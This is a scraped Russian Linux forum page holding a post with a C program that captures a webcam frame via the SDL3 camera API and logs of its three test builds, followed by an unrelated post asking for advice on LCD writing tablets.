    case SDL_PIXELFORMAT_YUY2:          return   "XYUY2";
    case SDL_PIXELFORMAT_UYVY:          return   "XUYVY";
    case SDL_PIXELFORMAT_YVYU:          return   "XYVYU";
    case SDL_PIXELFORMAT_NV12:          return   "XNV12";
    case SDL_PIXELFORMAT_NV21:          return   "XNV21";
    case SDL_PIXELFORMAT_P010:          return   "XP010";
    case SDL_PIXELFORMAT_EXTERNAL_OES:  return   "XEXTERNAL_OES";
    }
    return "UNKNOWN";
}

int main(int argc, char *argv[])
{
    SDL_InitSubSystem(SDL_INIT_CAMERA);
    int camera_count = 0;
    SDL_CameraID * camera_id = SDL_GetCameras(&camera_count);
    printf("count=%d id=%u %s\n",camera_count,camera_id,SDL_GetError());
    SDL_CameraSpec ** camera_spec;
    int camera_specs = 0;
    camera_spec = SDL_GetCameraSupportedFormats(*camera_id,&camera_specs);
    /*show supported formats and resolutions*/
    for(int i=0; i != camera_specs;i++)
    {
        printf("camera=%-2i "
               "w=%-4d h=%-4d "
               "format=%-14s "
               "frame_n=%-3d "
               "frame_d=%d\n",
               i,
               camera_spec[i]->width,
               camera_spec[i]->height,
               pixel_format_name(camera_spec[i]->format),
               camera_spec[i]->framerate_numerator,
               camera_spec[i]->framerate_denominator);
    }
    /*init camera*/
    SDL_Camera * cam =  SDL_OpenCamera(*camera_id, camera_spec[0]);

    #ifdef ENABLE_DELAY
        SDL_Delay(5000);
    #endif

    printf("[1] %s\n",SDL_GetError());
    SDL_Surface * frame;
    Uint64 t=0;
    SDL_Surface * s;
    SDL_Event event;
    while ( SDL_WaitEvent(&event) >= 0 )
    {
       if(event.type == SDL_EVENT_CAMERA_DEVICE_APPROVED)
       {
            printf("DEVICE_APPROVED!\n");
            break;
       };
       if(event.type == SDL_EVENT_CAMERA_DEVICE_DENIED)
       {
            printf("DEVICE_DENIED!\n");
            return 0;
       };
    }

    #ifdef ENABLE_FRAMEDROP
    for(int i=0;i<7;i++)
    {
        frame = SDL_AcquireCameraFrame(cam, &t);
        SDL_ReleaseCameraFrame(cam, frame);
    }
    #endif

    /*take photo*/
    frame = SDL_AcquireCameraFrame(cam, &t);
    printf("[2] %lu %s\n",t,SDL_GetError());
    /*convert photo*/
    s = SDL_ConvertSurface(frame, SDL_PIXELFORMAT_RGB24);
    /*save result*/
    SDL_SaveBMP(s,"out.bmp");
    printf("[4] %lu %s\n",t,SDL_GetError());
    /*release memory*/
    SDL_ReleaseCameraFrame(cam, frame);
    printf("[4] %lu %s\n",t,SDL_GetError());
    SDL_Quit();
    return 0;
}

Результаты

  • Ошибка Invalid surface
fedor@nixfed:~/drawshoot$ make test-1 run
cc main.c -ISDL3/include -LSDL3/build -lSDL3 -o app
LD_LIBRARY_PATH=SDL3/build ./app
count=1 id=845253408 
camera=0  w=640  h=480  format=XYUY2          frame_n=30  frame_d=1
camera=1  w=640  h=480  format=XYUY2          frame_n=25  frame_d=1
camera=2  w=640  h=480  format=XYUY2          frame_n=20  frame_d=1
camera=3  w=352  h=288  format=XYUY2          frame_n=30  frame_d=1
camera=4  w=352  h=288  format=XYUY2          frame_n=25  frame_d=1
camera=5  w=352  h=288  format=XYUY2          frame_n=20  frame_d=1
camera=6  w=320  h=240  format=XYUY2          frame_n=30  frame_d=1
camera=7  w=320  h=240  format=XYUY2          frame_n=25  frame_d=1
camera=8  w=320  h=240  format=XYUY2          frame_n=20  frame_d=1
camera=9  w=176  h=144  format=XYUY2          frame_n=30  frame_d=1
camera=10 w=176  h=144  format=XYUY2          frame_n=25  frame_d=1
camera=11 w=176  h=144  format=XYUY2          frame_n=20  frame_d=1
camera=12 w=160  h=120  format=XYUY2          frame_n=30  frame_d=1
camera=13 w=160  h=120  format=XYUY2          frame_n=25  frame_d=1
camera=14 w=160  h=120  format=XYUY2          frame_n=20  frame_d=1
[1] 
DEVICE_APPROVED!
[2] 0 
[4] 0 Parameter 'surface' is invalid
[4] 0 Parameter 'surface' is invalid
fedor@nixfed:~/drawshoot$ 

  • Чёрный снимок вместо нормального
fedor@nixfed:~/drawshoot$ make test-2 run
cc main.c -ISDL3/include -LSDL3/build -lSDL3 -o app -DENABLE_DELAY
LD_LIBRARY_PATH=SDL3/build ./app
count=1 id=3957504800 
camera=0  w=640  h=480  format=XYUY2          frame_n=30  frame_d=1
camera=1  w=640  h=480  format=XYUY2          frame_n=25  frame_d=1
camera=2  w=640  h=480  format=XYUY2          frame_n=20  frame_d=1
camera=3  w=352  h=288  format=XYUY2          frame_n=30  frame_d=1
camera=4  w=352  h=288  format=XYUY2          frame_n=25  frame_d=1
camera=5  w=352  h=288  format=XYUY2          frame_n=20  frame_d=1
camera=6  w=320  h=240  format=XYUY2          frame_n=30  frame_d=1
camera=7  w=320  h=240  format=XYUY2          frame_n=25  frame_d=1
camera=8  w=320  h=240  format=XYUY2          frame_n=20  frame_d=1
camera=9  w=176  h=144  format=XYUY2          frame_n=30  frame_d=1
camera=10 w=176  h=144  format=XYUY2          frame_n=25  frame_d=1
camera=11 w=176  h=144  format=XYUY2          frame_n=20  frame_d=1
camera=12 w=160  h=120  format=XYUY2          frame_n=30  frame_d=1
camera=13 w=160  h=120  format=XYUY2          frame_n=25  frame_d=1
camera=14 w=160  h=120  format=XYUY2          frame_n=20  frame_d=1
[1] 
DEVICE_APPROVED!
[2] 706952397 
[4] 706952397 
[4] 706952397 
fedor@nixfed:~/drawshoot$ 
  • Всё хорошо, ошибок нет, фотография с камеры нормальная
fedor@nixfed:~/drawshoot$ make test-3 run
cc main.c -ISDL3/include -LSDL3/build -lSDL3 -o app -DENABLE_DELAY -DENABLE_FRAMEDROP
LD_LIBRARY_PATH=SDL3/build ./app
count=1 id=3940756256 
camera=0  w=640  h=480  format=XYUY2          frame_n=30  frame_d=1
camera=1  w=640  h=480  format=XYUY2          frame_n=25  frame_d=1
camera=2  w=640  h=480  format=XYUY2          frame_n=20  frame_d=1
camera=3  w=352  h=288  format=XYUY2          frame_n=30  frame_d=1
camera=4  w=352  h=288  format=XYUY2          frame_n=25  frame_d=1
camera=5  w=352  h=288  format=XYUY2          frame_n=20  frame_d=1
camera=6  w=320  h=240  format=XYUY2          frame_n=30  frame_d=1
camera=7  w=320  h=240  format=XYUY2          frame_n=25  frame_d=1
camera=8  w=320  h=240  format=XYUY2          frame_n=20  frame_d=1
camera=9  w=176  h=144  format=XYUY2          frame_n=30  frame_d=1
camera=10 w=176  h=144  format=XYUY2          frame_n=25  frame_d=1
camera=11 w=176  h=144  format=XYUY2          frame_n=20  frame_d=1
camera=12 w=160  h=120  format=XYUY2          frame_n=30  frame_d=1
camera=13 w=160  h=120  format=XYUY2          frame_n=25  frame_d=1
camera=14 w=160  h=120  format=XYUY2          frame_n=20  frame_d=1
[1] 
DEVICE_APPROVED!
[2] 1329622684 
[4] 1329622684 
[4] 1329622684 
fedor@nixfed:~/drawshoot$ 

Может быть кому пригодится, досвиданья ::)

 , , , ,

LINUX-ORG-RU
()

Электронный LCD планшет для заметок посоветуйте

Форум — Talks

Тот который для рисования и для записей, кто использует вместо разовых зарисовок, записей и всего такого? Норм? Какие посоветуете, а какие не посоветуете? Часто от руки делаю временные записи, наброски, блок схемы алгоритма или просто записи промежуточных например вычислений, уходит много бумаги. Узнал про такую штуку которая плюс ещё пости пассивная батарейка нужна только чтобы стирать, а писать можно вроде как любым тупым предметом например головой. Моделей тьма от 250 рублей до 2500 и более. Не знаю есть ли между ними шибкая разница, насколько понял только «цветные» брать не нужно ибо там просто подложка градиентом идёт цветным.

Хоть и вроде как позиционируется как игрушка для детей (у племяхи помню была рисовалка магнитная), но кажется и для заметок пойдёт.

Только я не понял, там можно делать записи как ручкой 1~2 миллиметра? Или только жирно рисовать? Короче если есть опыт отпишитесь, спасиба =)

Перемещено hobbit из general

 , , , ,

LINUX-ORG-RU
()